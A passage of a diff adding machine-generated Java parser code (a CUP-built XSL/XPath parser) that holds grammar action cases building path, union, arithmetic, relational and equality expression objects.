((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + String le = (String)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new LiteralExpr(le); + CUP$XSLParser$result = new java_cup.runtime.Symbol(18/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 32: // PrimaryExpr ::= LP Expr RP + { + Expr RESULT = null; + int eleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left; + int eright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).right; + Expr e = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).value; + RESULT = e; + CUP$XSLParser$result = new java_cup.runtime.Symbol(18/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 31: // PrimaryExpr ::= VariableReference + { + Expr RESULT = null; + int veleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int veright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ve = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = ve; + CUP$XSLParser$result = new java_cup.runtime.Symbol(18/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 30: // FilterExpr ::= FilterExpr Predicate + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left; + int feright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).value; + int pleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int pright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Predicate p = (Predicate)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new FilterExpr(fe, p); + CUP$XSLParser$result = new java_cup.runtime.Symbol(14/*FilterExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 29: // FilterExpr ::= PrimaryExpr + { + Expr RESULT = null; + int peleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int peright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr pe = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = pe; + CUP$XSLParser$result = new java_cup.runtime.Symbol(14/*FilterExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 28: // PathExpr ::= FilterExpr DSLASH RelativeLocationPath + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int feright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + parser.tempStep = new Step(); + + parser.tempStep.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + + parser.tempStep.setNodeTest(parser.tempNt); + + parser.tempStep.setNextStep(rlp); + rlp.setPrevStep(parser.tempStep); + + /*parser.tempStep2 = new Step(); + parser.tempNt = new NodeTest(); + parser.tempStep2.setAxisType(AxisType.SELF); + parser.tempNt.setTestType(NodeTest.NODE); + + parser.tempStep2.setNodeTest(parser.tempNt); + + parser.tempStep2.setNextStep(parser.tempStep); + parser.tempStep.setPrevStep(parser.tempStep2);*/ + + parser.tempLPExpr = new LocationPathExpr(); + parser.tempLPExpr.setStep(parser.tempStep); + RESULT = new PathExpr(fe, parser.tempLPExpr); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(13/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 27: // PathExpr ::= FilterExpr SLASH RelativeLocationPath + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int feright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + parser.tempLPExpr = new LocationPathExpr(); + parser.tempLPExpr.setStep(rlp); + RESULT = new PathExpr(fe, parser.tempLPExpr); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(13/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 26: // PathExpr ::= FilterExpr + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int feright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = fe; + CUP$XSLParser$result = new java_cup.runtime.Symbol(13/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 25: // PathExpr ::= LocationPath + { + Expr RESULT = null; + int lpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int lpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + LocationPathExpr lp = (LocationPathExpr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = lp; + CUP$XSLParser$result = new java_cup.runtime.Symbol(13/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 24: // UnionExpr ::= PathExpr UNION UnionExpr + { + UnionExpr RESULT = null; + int peleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int peright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr pe = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int uneleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int uneright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + UnionExpr une = (UnionExpr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + + RESULT = new UnionExpr(pe); + RESULT.next = une; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(16/*UnionExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 23: // UnionExpr ::= PathExpr + { + UnionExpr RESULT = null; + int peleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int peright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr pe = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new UnionExpr(pe); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(16/*UnionExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 22: // UnaryExpr ::= SUB UnaryExpr + { + Expr RESULT = null; + int ueleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new UnaryExpr( BinaryExpr.SUB, ue); + CUP$XSLParser$result = new java_cup.runtime.Symbol(12/*UnaryExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 21: // UnaryExpr ::= UnionExpr + { + Expr RESULT = null; + int ueleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + UnionExpr ue = (UnionExpr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = ue; + CUP$XSLParser$result = new java_cup.runtime.Symbol(12/*UnaryExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 20: // MultiplicativeExpr ::= MultiplicativeExpr MOD UnaryExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int meright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int ueleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(me, BinaryExpr.MOD, ue); + CUP$XSLParser$result = new java_cup.runtime.Symbol(11/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 19: // MultiplicativeExpr ::= MultiplicativeExpr DIV UnaryExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int meright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int ueleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(me, BinaryExpr.DIV, ue); + CUP$XSLParser$result = new java_cup.runtime.Symbol(11/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 18: // MultiplicativeExpr ::= MultiplicativeExpr MULT UnaryExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int meright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int ueleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(me, BinaryExpr.MULT, ue); + CUP$XSLParser$result = new java_cup.runtime.Symbol(11/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 17: // MultiplicativeExpr ::= UnaryExpr + { + Expr RESULT = null; + int ueleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = ue; + CUP$XSLParser$result = new java_cup.runtime.Symbol(11/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 16: // AdditiveExpr ::= AdditiveExpr SUB MultiplicativeExpr + { + Expr RESULT = null; + int aeleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int meleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int meright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(ae, BinaryExpr.SUB, me); + CUP$XSLParser$result = new java_cup.runtime.Symbol(10/*AdditiveExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 15: // AdditiveExpr ::= AdditiveExpr ADD MultiplicativeExpr + { + Expr RESULT = null; + int aeleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int meleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int meright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(ae, BinaryExpr.ADD, me); + CUP$XSLParser$result = new java_cup.runtime.Symbol(10/*AdditiveExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 14: // AdditiveExpr ::= MultiplicativeExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int meright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = me; + CUP$XSLParser$result = new java_cup.runtime.Symbol(10/*AdditiveExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 13: // RelationalExpr ::= RelationalExpr GE AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int aeleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.GE, ae); + CUP$XSLParser$result = new java_cup.runtime.Symbol(9/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 12: // RelationalExpr ::= RelationalExpr LE AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int aeleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.LE, ae); + CUP$XSLParser$result = new java_cup.runtime.Symbol(9/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 11: // RelationalExpr ::= RelationalExpr GT AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int aeleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.GT, ae); + CUP$XSLParser$result = new java_cup.runtime.Symbol(9/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 10: // RelationalExpr ::= RelationalExpr LT AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int aeleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.LT, ae); + CUP$XSLParser$result = new java_cup.runtime.Symbol(9/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 9: // RelationalExpr ::= AdditiveExpr + { + Expr RESULT = null; + int aeleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = ae; + CUP$XSLParser$result = new java_cup.runtime.Symbol(9/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 8: // EqualityExpr ::= EqualityExpr NE RelationalExpr + { + Expr RESULT = null; + int eeleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int releft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int reright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(ee, BinaryExpr.NE, re); + CUP$XSLParser$result = new java_cup.runtime.Symbol(7/*EqualityExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 7: // EqualityExpr ::= EqualityExpr EQ RelationalExpr + { + Expr RESULT = null; + int eeleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int releft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int reright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(ee, BinaryExpr.EQ, re); + CUP$XSLParser$result = new java_cup.runtime.Symbol(7/*EqualityExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 6: // EqualityExpr ::= RelationalExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int reright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = re; + CUP$XSLParser$result = new java_cup.runtime.Symbol(7/*EqualityExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . 